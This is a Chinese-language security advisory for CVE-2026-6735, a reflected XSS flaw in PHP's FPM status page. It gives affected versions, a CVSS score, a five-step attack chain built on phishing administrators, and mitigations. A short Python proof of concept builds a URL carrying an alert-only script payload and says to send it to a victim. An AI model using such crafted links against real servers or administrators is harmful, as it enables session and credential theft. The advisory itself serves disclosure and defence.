IPBUF安全漏洞报告
English
CVE-2026-6735 CVSS 6.1 中危

CVE-2026-6735 PHP-FPM状态页XSS漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2026-6735
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PHP

相关标签

XSSPHPPHP-FPMCWE-79CVE-2026-6735

漏洞概述

该漏洞影响PHP 8.2.*、8.3.*、8.4.*及8.5.*的多个早期版本。由于PHP-FPM状态页面对用户输入数据缺乏适当的清理和过滤,攻击者能够精心构造恶意URL链接。一旦受害者访问并浏览该链接指向的PHP-FPM状态页面,其浏览器将解析并执行攻击者注入的任意JavaScript代码,从而引发跨站脚本攻击风险。

技术细节

该漏洞源于PHP-FPM状态页面在处理HTTP请求参数时,对用户提供的输入数据缺乏严格的安全过滤和上下文感知的转义机制。PHP-FPM允许通过URL查询参数(如/?json或特定格式参数)来控制状态页面的展示内容。在受影响版本中,部分参数值被直接反射回HTML响应而未经过滤,导致存在反射型跨站脚本漏洞。攻击者可利用此漏洞构造包含恶意JavaScript代码的特制URL。由于该页面通常用于运维监控,攻击者可能会诱导系统管理员点击该恶意链接。一旦管理员在未认证(或已认证)的会话中访问该链接,恶意脚本将在其浏览器环境中执行,可能窃取管理员的Session ID、凭据,或利用管理员的权限对后台进行进一步的操作。CVSS评分中的S:C表示该漏洞可能影响到当前页面的上下文范围,增加了攻击的潜在危害。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描目标网络,发现暴露的PHP-FPM状态页面接口。
STEP 2
2. 构造攻击
攻击者分析页面参数,发现输入未经过滤,构造包含恶意JavaScript代码的特制URL。
STEP 3
3. 社会工程学
攻击者通过钓鱼邮件或消息,将特制URL发送给拥有权限查看PHP-FPM状态页面的管理员或运维人员。
STEP 4
4. 触发漏洞
受害者出于运维目的点击链接访问状态页面,浏览器解析HTML并执行注入的恶意脚本。
STEP 5
5. 执行操作
恶意脚本在受害者浏览器上下文中运行,窃取Cookie或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (PoC) for CVE-2026-6735 # This script demonstrates how to generate a malicious URL to exploit the XSS vulnerability. import urllib.parse def generate_exploit_url(base_url, payload): """ Constructs a URL that triggers the XSS vulnerability on the PHP-FPM status page. The vulnerability is triggered when a user views the status page with unsanitized input. """ # The status page is typically /status # Attackers can inject payloads via query parameters that are reflected in the response exploit_url = f"{base_url}/status?{urllib.parse.quote(payload)}" return exploit_url # Malicious JavaScript payload (e.g., displaying an alert) xss_payload = "<script>alert('CVE-2026-6735 XSS Exploited');</script>" target = "http://vulnerable-php-fpm-server" print(f"Send the following link to the victim:") print(generate_exploit_url(target, xss_payload))

影响范围

PHP 8.2.* < 8.2.31
PHP 8.3.* < 8.3.31
PHP 8.4.* < 8.4.21
PHP 8.5.* < 8.5.6

防御指南

临时缓解措施
在无法立即升级的情况下,建议在Nginx或Apache等反向代理层面配置访问控制规则(ACL),禁止外部网络直接访问PHP-FPM的状态监控路径(如/status)。同时,部署Web应用防火墙(WAF)对针对该路径的请求进行特征匹配拦截。

参考链接